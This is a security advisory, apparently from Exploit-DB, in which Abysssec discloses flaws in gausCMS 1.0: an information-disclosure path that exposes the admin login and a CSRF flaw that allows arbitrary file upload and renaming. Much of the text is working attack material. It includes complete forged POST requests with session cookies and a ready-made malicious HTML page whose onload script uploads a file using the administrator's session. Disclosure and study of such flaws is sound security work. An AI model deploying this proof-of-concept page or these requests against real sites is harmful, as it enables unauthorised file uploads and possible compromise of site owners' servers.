'''
__ __ ____ _ _ ____
| \/ |/ __ \ /\ | | | | _ \
| \ / | | | | / \ | | | | |_) |
| |\/| | | | |/ /\ \| | | | _ <
| | | | |__| / ____ \ |__| | |_) |
|_| |_|\____/_/ \_\____/|____/
http://www.exploit-db.com/moaub-21-gauscms-multiple-vulnerabilities/
'''
Abysssec Inc Public Advisory
Title : gausCMS Multiple Vulnerabilities
Affected Version : Gaus CMS version 1.0
Discovery : www.abysssec.com
Vendor : http://www.gaustudio.com/gausCMS.html
Download Links : http://sourceforge.net/projects/gauscms/
Description :
===========================================================================================
This version of gausCMS have Multiple Valnerabilities :
1- Access to Admin's Login and Information Disclosure
2- CSRF Upload arbitrary file and rename file
Access to Admin's Section and Information Disclosure:
===========================================================================================
With this path you can easily access to Admin's Login:
http://Example.com/admin_includes/template/languages/english/english.txt
Vulnerable Code:
http://Example.com/default.asp
Ln 37:
Set oFile = FSO.GetFile(PATHADMIN & "admin_includes/template/languages/" & GUILanguage & "/" & GUILanguage & ".txt")
CSRF Upload arbitrary file and rename file
===========================================================================================
With send a POST request to this path, you can upload arbitrary file of course by Admin's cookie
and by CSRF technique.
http://Example.com/default.asp?dir=&toDo=uploadFile
For example you can feed this POST Request to Admin :
POST http://Example.com/default.asp?dir=&toDo=uploadFile HTTP/1.1
Host: Example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://Example.com/default.asp?dir=&toDo=uploadFile
Cookie: Skin=default; ASPSESSIONIDQSASTTBS=EIPNNJIAKDDEAGDKACICOBHJ
Content-Type: multipart/form-data; boundary=---------------------------287032381131322
Content-Length: 306
Message Body:
-----------------------------287032381131322
Content-Disposition: form-data; name="attach1"; filename="Test.txt"
Content-Type: text/plain
123
-----------------------------287032381131322
Content-Disposition: form-data; name="toDo"
Upload File
-----------------------------287032381131322--
----------------------------------------------------------------------------------
With the same method we can rename files with following path:
http://Example.com/default.asp?dir=&file=Test2.txt&toDo=Rename%20File
For example you can feed this POST Request to Admin:
POST http://Example.com/default.asp?dir=&file=Test.txt&toDo=Rename%20File HTTP/1.1
Host: Example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://Example.com/default.asp?dir=&file=Test2.txt&toDo=rename
Cookie: Skin=default; ASPSESSIONIDQSASTTBS=IIPNNJIANIKOIKGOGOIKAJGE
Content-Type: application/x-www-form-urlencoded
Content-Length: 39
Message Body:
newFileName=Test2.txt&toDo=Rename+File
The Source of HTML Page (Malicious Link) for Upload Arbitrary file
===========================================================================================
With this page, we send a POST request with AJAX to upload a file with Admin's Cookie.
<html>
<head>
<title >Wellcome to gausCMS!</title>
Hello!
...
...
...
This page uploads a file
<script>
var binary;
var filename;
function FileUpload() {
try {
netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect");
} catch (e) {
}
var http = false;
if (window.XMLHttpRequest) {
http = new XMLHttpRequest();
}
else if (window.ActiveXObject) {
http = new ActiveXObject("Microsoft.XMLHTTP");
}
var url = "http://Example.com/default.asp?dir=&toDo=uploadFile";
var filename = 'Test.txt';
var filetext = ' 123 ';
var boundaryString = '---------------------------287032381131322';
var boundary = '--' + boundaryString;
var requestbody = boundary + '\n'
+ 'Content-Disposition: form-data; name="attach1"; filename="'
+ filename + '"' + '\n'
+ 'Content-Type: text/plain' + '\n'
+ '\n'
+ filetext
+ '\n'
+ boundaryString
+ 'Content-Disposition: form-data; name="toDo"'
+'Upload File'
+ '\n'
+ boundary;
http.onreadystatechange = done;
http.open('POST', url, true);
http.setRequestHeader("Content-type", "multipart/form-data; boundary=" + boundaryString);
http.setRequestHeader("Connection", "close");
http.setRequestHeader("Content-length", requestbody.length);
http.send(requestbody);
}
function done() {
if (http.readyState == 4 && http.status == 200) {
//alert(http.responseText);
//alert('Upload OK');
}
}
</script>
</head>
<body onload ="FileUpload();">
</body>
</html>
===========================================================================================